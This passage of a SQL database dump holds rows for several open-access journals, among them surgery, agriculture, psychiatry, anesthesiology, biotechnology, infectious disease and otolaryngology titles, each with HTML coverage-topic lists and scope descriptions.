Insights','Journal-of-Surgery-and-Insights','Journal-of-Surgery-and-Insights','Journal-of-Surgery-and-Insights','Journal-of-Surgery-and-Insights','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Anesthesia practice</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Bariatric surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cardiac surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Cosmetic surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Craniofacial surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Elective surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Emergency surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Endoscopy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Fluorescence image-guided surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">General surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hypnosurgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Laparoscopic surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Microsurgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Minimally-invasive surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Oral and maxillofacial surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Orthopaedic surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Plastic surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Pre and pro Operative cares</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Podiatric surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Reconstructive surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Robotic surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Surgical Procedure Techniques (Ectomy, Ostomy, Otomy)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Transplant surgery</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Trauma surgery</span></li>\r\n</ul>\r\n','<p style=\"margin-left:0in; margin-right:0in; text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Journal of Surgery and Insights</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Surgery and Insights (JSI)</strong> is an open access, peer-reviewed, scholarly based journal. The journal is dedicated and also encourages global advancement in surgical research, clinical practices and case studies in rare medical complications for enabling eminent surgeons, upcoming medical/clinical practioners, physicians and other medicos who are passionate towards this research are highly welcomed to conglomerate under one platform to exchange, share their experiences and views at an international arena by means of online publishing sitting at any corner of the world.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The journal intention is to promote continued and recent developments in surgery through the sharing of knowledge, ideas and good practice across all surgical specialties in respective departments. The JSCS provides readers to uphold the highest standards at the cutting-edge of research, with a focus for evidence-based medicine and surgery through the publications of Case reports, Original articles, Review articles, special issues and give the findings context, through the publication of editorials, commentaries and letters from the surgical community. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">As a broad scope of journal covering all surgical aspects, readers can have free access to all published manuscripts through download by means of user friendly format of pdf/html text in e-mode.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-08 13:08:23','2018-07-20 00:01:24',1),(35,20,'1553535521.jpg','Open Access Journal of Agriculture Research','Agriculture research','Open Access Journal of Agriculture Research','Open-access-journal-of-agriculture-research','Open-access-journal-of-agriculture-research','Open-access-journal-of-agriculture-research','Open-access-journal-of-agriculture-research','<div><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics:</strong></span></div>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Modern Agronomy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Agricultural machinery and engineering</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Agricultural economics</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Crop Genetics &amp; Breeding</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Entomology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Horticulture</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Plant science</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Veterinary science</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Aquaculture/Fisheries</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Food science and technology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Organic agriculture</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Forestry and Environmental technology</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Soil science</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Open Access Journal of Agriculture Research</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">(ISSN 2651-9003)</span></strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong>&nbsp;as an open access and peer-reviewed journal intends to expand the vast knowledge of Agricultural Sciences and its allied subject lines by publishing articles with especially focusing on new innovations for emerging fields and concepts in providing future directions to promote agricultural research worldwide across.</span></p>\r\n\r\n<p><strong>Scope</strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>OAJAR&nbsp;</strong>aims to encourage the forum of scientific professionals like professors, scientists, and research scholars, academicians to come up and share their important issues of agricultural research, education and extension and present views of the scientific community globally.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong> intends to propagate research findings and also to open new vistas for further research by covering all the disciplines of crop sciences, animal sciences, fishery sciences, forestry sciences and natural resources management sciences, to stimulate interest in inter-disciplinary research of Agriculture as a base with scientific approach through literary presentations by Research/ Review/Mini Review/ Communication like articles publications.</span></p>\r\n\r\n<p>&nbsp;</p>\r\n','',1,'2018-07-08 19:52:54','2019-03-25 23:08:41',1),(36,20,'1539324689.jpg','Current Research in Psychiatry and Brain Disorders','Psychiatry and Brain Disorders','Current Research in Psychiatry and-Brain-Disorders','Current Research in Psychiatry-and-Brain-Disorders','Current-Research-in-Psychiatry-and-Brain-Disorders','Current-Research-in-Psychiatry-and-Brain-Disorders','Current-Research-in-Psychiatry-and-Brain-Disorders','<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journals covered topics includes in publishing:</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Adjustment disorders</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Alcohol-related disorders</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Anxiety disorders (including OCD and PTSD)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Autism</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Cognitive behaviour</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Child and adolescent psychiatry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Delirium</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Drugs misuse (including addiction)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Drugs: psychiatry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Eating disorders</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Impulse control disorders</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Memory disorders (psychiatry)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Mood disorders (including depression)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Personality disorders</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Psychiatry of old age</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Psychotherapy</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Current Research in Psychiatry and Brain Disorders</span></strong></span></span></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Research in Psychiatry and Brain Disorders<span style=\"color:#00b050\">&nbsp;</span>(CRPBD)&nbsp;</strong><span style=\"color:black\">is an electronic based, scientific open access journal aims to promote excellence in scientific advanced research and information in fields that investigate the nature, causes, mechanisms and treatments of brain disorders related to thought, emotion, or behavior with emphasis on psychological facts. In accord with this mission, this peer-reviewed, rapid-publication, international journal publishes both basic, clinical and experimental research based updates from all disciplines and latest findings relevant to the pathophysiology and treatment of major psychiatric disorders affecting brain and mental illness along with its outcome.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal focuses its publication as an open source for essential reading including psychiatrists, clinical psychologists, and all professionals with an interest in mental health and experimentally involved in new discoveries related to it. In covering to a large number of research articles from around the world, the journal includes editorials, review articles, commentaries, brief reports, short communication, and a lively and well-informed data as publications.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">In addition to offering the latest updates in psychiatric neuroscience aspects, we hope to bring the journal&#39;s information to you in the most user-friendly and easily accessible manner with publishing in pdf and html format.</span></span></p>\r\n','',1,'2018-10-12 11:38:35','2018-10-13 13:13:03',1),(37,20,'1539325475.jpg','Journal of Pain Management and Anesthesiology','Pain Management and Anesthesiology','Journal of Pain Management-and-Anesthesiology','Journal of Pain-Management-and-Anesthesiology','Journal-of-Pain-Management-and-Anesthesiology','Journal-of-Pain-Management-and-Anesthesiology','Journal-of-Pain-Management-and-Anesthesiology','<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal covered topics includes in publishing:</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Analgesics</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Anesthesia</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Anesthetic Drugs</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Athroscopic Shoulder Surgery</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Chronic Non-malignant Pain (CNMP)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Critical Care</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Endometrial Biopsy</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Episodic Headache</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Failed Back Surgery Syndrome</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Fibromyalgia Chronic Pain</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Hysterosalpingography</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Inflammatory Pain</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Intravenous Regional Anesthesia</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Microdialysis Study</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Muscle Hyperalgesia</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Nerve Blocks</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Neuropathic Pain</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Obstetric Anesthesiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Opioids</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Orofacial Pain</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Pain Catastrophizing</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Pain Control</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Pain Management</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Preoperative care</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Radiating Pain</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Sedation</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Spinal Anesthesia</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Trigeminal Neuralgia</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#009900\"><strong>Journal of Pain Management and Anesthesiology</strong></span></span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>Journal of Pain Management and Anesthesiology&nbsp;(JPMA)</strong></span><span style=\"color:black\">is an open access, peer-reviewed, rapid-publication, international journal publishes clinical studies focusing on laboratory and clinical findings in the field of pain research and the prevention and management of pain with correlating all aspects of anesthesia practice involved in preoperative and postoperative considerations, coexisting disease and other complicating factors, cost issues, and similar concerns anesthesiologists countered with.</span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal publishes research articles, reviews, short communication, case reports, letter to the editor, by encouraging the team involved with interest working in anaesthesiology, pain, emergency medicine or </span><span style=\"color:#1c1d1e\">intensive care and pain therapy.</span></span></p>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal encourages scientist, medical practioners at global level in publication of novel research that transforms clinical practice and fundamental understanding in anesthesiology, perioperative medicine, critical care, and pain management to let the journal more popular in scientific community.</span></span></p>\r\n','',1,'2018-10-12 11:54:34','2018-10-13 13:10:14',1),(38,20,'1539329541.jpg','Current Trends in Biotechnology and Biochemistry','Biotechnology and Biochemistry','Current Trends in-Biotechnology-and-Biochemistry','Current Trends in Biotechnology-and-Biochemistry','Current-Trends-in-Biotechnology-and-Biochemistry','Current-Trends-in-Biotechnology-and-Biochemistry','Current-Trends-in-Biotechnology-and-Biochemistry','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal covered topics includes in publishing:</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Animal biotechnology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Biopolymer Science</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Biosensors</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Cell technology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Environmental biotechnology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Enzyme engineering</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Enzymology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Food technology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Genetic engineering</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Immunoassays</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Immunological technology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Metabolic engineering</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Microbiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Molecular and Cell biology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Nanotechnology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Organic and Bioorganic Chemistry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Physical and Analytical Chemistry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Plant biotechnology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Protein engineering</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Stem cell technology</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"color:#009900\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Current Trends in Biotechnology and Biochemistry</span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Current Trends in Biotechnology and Biochemistry </span><strong>(CTBB) </strong><span style=\"color:black\">is an electronic based, scientific open access journal aims to promote excellence in scientific advanced research and information in fields that investigate current trends in biotechnology and advancement in biochemistry research.</span> <span style=\"color:black\">The journal is dedicated to rapid publication of high quality, cutting-edge research at the interface between life sciences investigations and their technological application in practical approach.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal broadens its scope for forum of researchers, scientists, and scholars in publishing the highest quality innovative papers in the fields of latest research in biochemistry and biotechnology.</span> <span style=\"color:black\">The journal plays a major role in communicating to a global audience outstanding basic and applied research in all fields Biotechnology and Applied Biochemistry covering practical concepts of biotechnology,</span> <span style=\"color:black\">advancement of medical biotechnology, bioengineering, biomaterials, biosensing, bioprocesing, and nanotechnology with providing chemical and biological analyses latest updates. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">In addition to offering the latest updates in biotechnology and biochemistry innovative aspects, we hope to bring the journal&#39;s information to you in the most user-friendly and easily accessible manner with publishing in pdf and html format.</span></span></p>\r\n','',1,'2018-10-12 13:02:21','2018-10-13 13:05:54',1),(39,20,'1539329968.jpg','Emerging Infectious Diseases and Diagnosis Journal','Infectious Diseases and Diagnosis Journal','Emerging Infectious Diseases and Diagnosis Journal','Emerging Infectious-Diseases-and-Diagnosis-Journal','Emerging-Infectious-Diseases-and-Diagnosis-Journal','Emerging-Infectious-Diseases-and-Diagnosis-Journal','Emerging-Infectious-Diseases-and-Diagnosis-Journal','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:#263238\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Pneumonia</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Respiratory Syncytical Virus (Rsv)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Sinus Drainage in Throat</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Tuberculosis (Tb)</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Viral Haemorrhagic Fever</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Viral Infections</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#263238\">Zika Virus</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Encephalitis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Giardiasis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gonococcal Infection</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hepatitis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Fungal Infections</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">HIV/AIDS</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">HPV</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Influenza</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Leprosy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lyme Disease</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Malaria</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Poliomyelitis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Smallpox </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tetanus</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Tuberculosis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Typhoid Fever</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vaginosis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Varicella</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"color:#009900\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Emerging Infectious Diseases and Diagnosis Journal</strong></span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Emerging Infectious Diseases and Diagnosis is an peer-reviewed, open access journal that focuses on all aspects of infectious and sexually transmitted diseases in humans, including research, prevention, immunization, diagnosis, management, and treatment.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#263238\">Emerging Infectious Diseases and Diagnosis Journal (EIDDJ)</span></strong><span style=\"color:#263238\"> provides an opportunity to researchers and scientists to explore and publish the basic, advanced and latest research developments in the field of Infectious Diseases and Treatment. Areas of focus include, but are not limited to, bacterial and fungal infections, viral infections (including HIV/AIDS and hepatitis), parasitological diseases, tuberculosis and other mycobacterial diseases, vaccinations and other interventions, and drug-resistance, chronic infections, epidemiology and tropical, emergent, pediatric, dermal and sexually-transmitted diseases.</span></span></p>\r\n','',1,'2018-10-12 13:09:28','2018-10-13 12:52:47',1),(40,20,'1539330227.jpg','Advances of Otolaryngology and Rhinology Research','Otolaryngology and Rhinology Research','Advances of Otolaryngology and Rhinology Research','Advances of Otolaryngology-and-Rhinology Research','Advances-of-Otolaryngology-and-Rhinology-Research','Advances-of-Otolaryngology-and-Rhinology-Research','Advances-of-Otolaryngology-and-Rhinology-Research','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:#263238\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Audiology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cleft Lip and Palate</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cochlear implants</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Geriatric Otorhinolaryngology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Head and Neck Surgery</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hearing Loss and Balance Disorders</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Neurotology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Oral and Neck Oncology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Otitis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Otolaryngology</span></li>\r\n	<li style=\"text-align:justify\"><span 